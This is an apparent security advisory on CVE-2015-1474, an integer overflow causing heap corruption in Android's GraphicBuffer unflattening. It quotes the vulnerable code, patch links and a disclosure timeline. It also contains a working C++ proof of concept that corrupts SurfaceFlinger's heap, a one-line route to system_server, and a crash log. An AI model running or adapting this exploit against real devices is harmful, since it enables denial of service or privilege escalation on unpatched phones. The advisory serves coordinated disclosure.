Google Android Integer Oveflow / Heap Corruption

Related Vulnerabilities: CVE-2015-1474   CVE-2014-7911  
Publish Date: 12 Mar 2015
Author: Guang Gong
                							

                #############################################################################
#
#   QIHU 360 SOFTWARE CO. LIMITED http://www.360safe.com/
#
#############################################################################
#
# CVE ID:   CVE-2015-1474
# Product:   Android
# Vendor:   Google
# Subject:   Integer overflow leading to heap corruption while unflattening
GraphicBuffer
# Effect:  Gain privileges or cause a denial of service
# Author:  Guang Gong

# Date:     March 11th 2015
#
#############################################################################


Introduction
------------
Multiple integer overflows in the GraphicBuffer::unflatten function in
platform/frameworks/native/libs/ui/GraphicBuffer.cpp in Android through 5.0
allow attackers to gain privileges or cause a denial of service (memory
corruption) via vectors that trigger a large number of (1) file descriptors
or (2) integer values.

Affected Android version
----------

all versions below Lollipop 5.1

Patches
-------

Android Bug id 18076253
There are two patches for this vulnerabilities, the first patch for this
issue is uncomplete.

[1]
https://android.googlesource.com/platform/frameworks/native/+/e6f7a44e835d320593fa33052f35ea52948ff0b2

[2]
https://android.googlesource.com/platform/frameworks/native/+/796aaf7fb160fea12bddc8406d7f006ce811eb43

Description
-----------
The vulnerable code is as follows.

28
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#28>
native_handle_t
<http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>*
native_handle_create
<http://androidxref.com/4.4.4_r1/s?refs=native_handle_create&project=system>
(int numFds <http://androidxref.com/4.4.4_r1/s?refs=numFds&project=system>,
int numInts <http://androidxref.com/4.4.4_r1/s?refs=numInts&project=system>)

29
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#29>
{

30
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#30>
   native_handle_t
<http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>* h =
malloc <http://androidxref.com/4.4.4_r1/s?defs=malloc&project=system>(

31
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#31>
           sizeof(native_handle_t
<http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>) +
sizeof(int)*(numFds
<http://androidxref.com/4.4.4_r1/s?defs=numFds&project=system>+numInts
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#numInts>
));---------------> integer overflow here, numFds and numInts can be
controlled by normal Apps.

32
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#32>

33
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#33>
   h->version
<http://androidxref.com/4.4.4_r1/s?defs=version&project=system> = sizeof(
native_handle_t
<http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>);

34
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#34>
   h->numFds <http://androidxref.com/4.4.4_r1/s?defs=numFds&project=system>
= numFds <http://androidxref.com/4.4.4_r1/s?defs=numFds&project=system>;

35
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#35>
   h->numInts
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#numInts>
= numInts
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#numInts>
;

36
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#36>
   return h;

37
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#37>
}



244
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#244>
status_t
<http://androidxref.com/4.4.4_r1/s?defs=status_t&project=frameworks>
GraphicBuffer
<http://androidxref.com/4.4.4_r1/s?defs=GraphicBuffer&project=frameworks>::
unflatten
<http://androidxref.com/4.4.4_r1/s?refs=unflatten&project=frameworks>(

245
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#245>
       void const*& buffer
<http://androidxref.com/4.4.4_r1/s?defs=buffer&project=frameworks>, size_t
<http://androidxref.com/4.4.4_r1/s?defs=size_t&project=frameworks>& size
<http://androidxref.com/4.4.4_r1/s?defs=size&project=frameworks>, int const
*& fds <http://androidxref.com/4.4.4_r1/s?defs=fds&project=frameworks>,
size_t <http://androidxref.com/4.4.4_r1/s?defs=size_t&project=frameworks>&
count
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#count>)
{

…

271
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#271>
       native_handle
<http://androidxref.com/4.4.4_r1/s?defs=native_handle&project=frameworks>*
h = native_handle_create
<http://androidxref.com/4.4.4_r1/s?defs=native_handle_create&project=frameworks>
(numFds
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numFds>
, numInts
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numInts>
);

272
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#272>
       memcpy
<http://androidxref.com/4.4.4_r1/s?defs=memcpy&project=frameworks>(h->data
<http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>,       fds
<http://androidxref.com/4.4.4_r1/s?defs=fds&project=frameworks>, numFds
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numFds>
*sizeof(int));    ---------------->heap corruption hear.

273
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#273>
       memcpy
<http://androidxref.com/4.4.4_r1/s?defs=memcpy&project=frameworks>(h->data
<http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks> + numFds
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numFds>,
&buf <http://androidxref.com/4.4.4_r1/s?defs=buf&project=frameworks>[8],
numInts
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numInts>
*sizeof(int));

….


Attack vector
-------------
A normal Apps can corrupt the heap in surfaceflinger and system_server by
this vulnerabilities.

the PoC of corrupting the heap of surfaceflinger is as follows

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <utils/Log.h>

#include <binder/IPCThreadState.h>

#include <binder/ProcessState.h>

#include <binder/IServiceManager.h>

#include <gui/ISurfaceComposer.h>

#include <gui/BufferQueue.h>

#include <gui/CpuConsumer.h>

#include <unistd.h>


using namespace android;

class MyBufferQueue:public BufferQueue{

   public:

       status_t onTransact(uint32_t code, const Parcel& data, Parcel*
reply, uint32_t flags){

           status_t ret =
BnGraphicBufferProducer::onTransact(code,data,reply,flags);

           if(code==1){

               int *data = (int *)reply->data();

               int *numFDs = data+9;

               *numFDs=0xfffffffd;

           }

           return ret;

       }

};

int main()

{

   sp<ProcessState> proc(ProcessState::self());

   proc->startThreadPool();

   const String16 name("SurfaceFlinger");

   sp<ISurfaceComposer> composer;

   getService(name, &composer);

   uint32_t w, h;

   PixelFormat f;

   sp<IBinder>
display(composer->getBuiltInDisplay(ISurfaceComposer::eDisplayIdMain));

   sp<MyBufferQueue> bufferQueue = new MyBufferQueue();

   sp<CpuConsumer> cpuConsumer = new CpuConsumer(bufferQueue, 1);

   status_t err = composer->captureScreen(display, bufferQueue, 0,0,0,-1UL);

   if (err != NO_ERROR) {

       fprintf(stderr, "screen capture failed: %s\n", strerror(-err));

       exit(0);

   }

   printf("screen capture success\n");

   IPCThreadState::self()->joinThreadPool();

   return 0;

}

How to corrupt the heap of system_server

put a malformated GraphicBuffer in a Bundle, and then send it to
system_server via setApplicationRestrictions. it’s the same way as
CVE-2014-7911.

The backtrace of crash surfaceflinger

55 --------- beginning of crash

 56 F/libc    (15504): Fatal signal 11 (SIGSEGV), code 1, fault addr
0xb1000000 in tid 15504 (surfaceflinger)

 57 I/DEBUG   (  180): *** *** *** *** *** *** *** *** *** *** *** *** ***
*** *** ***

 58 I/DEBUG   (  180): Build fingerprint:
'Android/aosp_hammerhead/hammerhead:4.4.3.43.43.43/AOSP/ggong10171501:userdebug/test-keys'

 59 I/DEBUG   (  180): Revision: '11'

 60 I/DEBUG   (  180): ABI: 'arm'

 61 I/DEBUG   (  180): pid: 15504, tid: 15504, name: surfaceflinger  >>>
/system/bin/surfaceflinger <<<

 62 I/DEBUG   (  180): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault
addr 0xb1000000

 63 W/NativeCrashListener(15836): Couldn't find ProcessRecord for pid 15504

 64 I/DEBUG   (  180):     r0 b1000000  r1 b6be41ec  r2 ff81eff0  r3
00000004

 65 E/DEBUG   (  180): AM write failure (32 / Broken pipe)

 66 I/DEBUG   (  180):     r4 b647ac00  r5 fffffffd  r6 b6302150  r7
00000050

 67 I/DEBUG   (  180):     r8 bef65734  r9 bef65738  sl bef6573c  fp
b081f070

 68 I/DEBUG   (  180):     ip 80000000  sp bef656f0  lr b6c6cfb7  pc
b6eb2e30  cpsr a00f0030

 69 I/DEBUG   (  180):

 70 I/DEBUG   (  180): backtrace:

 71 I/DEBUG   (  180):     #00 pc 0000fe30  /system/lib/libc.so
(__memcpy_base+91)   ------------------------->memcpy cause heap corruption

 72 I/DEBUG   (  180):     #01 pc 00005fb3  /system/lib/libui.so
(android::GraphicBuffer::unflatten(void const*&, unsigned int&, int
const*&, unsigned int&)+98)

 73 I/DEBUG   (  180):     #02 pc 00025e09  /system/lib/libgui.so

 74 I/DEBUG   (  180):     #03 pc 0001e985  /system/lib/libbinder.so
(android::Parcel::read(android::Parcel::FlattenableHelperInterface&)
const+176)

 75 I/DEBUG   (  180):     #04 pc 0002638d  /system/lib/libgui.so

 76 I/DEBUG   (  180):     #05 pc 0002adc3  /system/lib/libgui.so
(android::Surface::dequeueBuffer(ANativeWindowBuffer**, int*)+226)

 77 I/DEBUG   (  180):     #06 pc 0002aa81  /system/lib/libgui.so
(android::Surface::hook_dequeueBuffer_DEPRECATED(ANativeWindow*,
ANativeWindowBuffer**)+32)

 78 I/DEBUG   (  180):     #07 pc 000175cf  /system/lib/libsurfaceflinger.so

 79 I/DEBUG   (  180):     #08 pc 0001b80f  /system/lib/libsurfaceflinger.so

 80 I/DEBUG   (  180):     #09 pc 000158f5  /system/lib/libsurfaceflinger.so

 81 I/DEBUG   (  180):     #10 pc 00010907  /system/lib/libutils.so
(android::Looper::pollInner(int)+410)

 82 I/DEBUG   (  180):     #11 pc 000109f9  /system/lib/libutils.so
(android::Looper::pollOnce(int, int*, int*, void**)+92)

 83 I/DEBUG   (  180):     #12 pc 00015ad1  /system/lib/libsurfaceflinger.so

 84 I/DEBUG   (  180):     #13 pc 0001675d
 /system/lib/libsurfaceflinger.so (android::SurfaceFlinger::run()+8)

 85 I/DEBUG   (  180):     #14 pc 0000083d  /system/bin/surfaceflinger

 86 I/DEBUG   (  180):     #15 pc 0000f811  /system/lib/libc.so
(__libc_init+44)

 87 I/DEBUG   (  180):     #16 pc 000008d8  /system/bin/surfaceflinger

 88 I/DEBUG   (  180):

 89 I/DEBUG   (  180): Tombstone written to: /data/tombstones/tombstone_01

 90 I/BootReceiver(15836): Copying /data/tombstones/tombstone_01 to DropBox
(SYSTEM_TOMBSTONE)

 91 I/ServiceManager(  176): service 'SurfaceFlinger' died

 92 I/ServiceManager(  176): service 'display.qservice' died



Milestones
----------

Date

Comment

Sender

20/10/2014

Initial Report of CVE-2015-1474

Qihoo 360

22/10/2014

Forwarded to the dedicated Team by Google

Google

04/11/2014

Classified it as a high severity vulnerability

Google

06/11/2014

Get the Android Bug ID 18076253

Google

10/2/2015

Notify it’s fixed and send the CVE-ID

Google

16/2/2015

Tell Google the first patch was uncomplete

Qihoo 360

18/2/2015

Submitted the second patch

Google

11/3/2015

Lollipop 5.1 was released, disclose it

Qihoo 360



References
----------
[1]
https://android.googlesource.com/platform/frameworks/native/+/e6f7a44e835d320593fa33052f35ea52948ff0b2

[2]
https://android.googlesource.com/platform/frameworks/native/+/796aaf7fb160fea12bddc8406d7f006ce811eb43

[3]https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1474

[4]
http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#28


<p>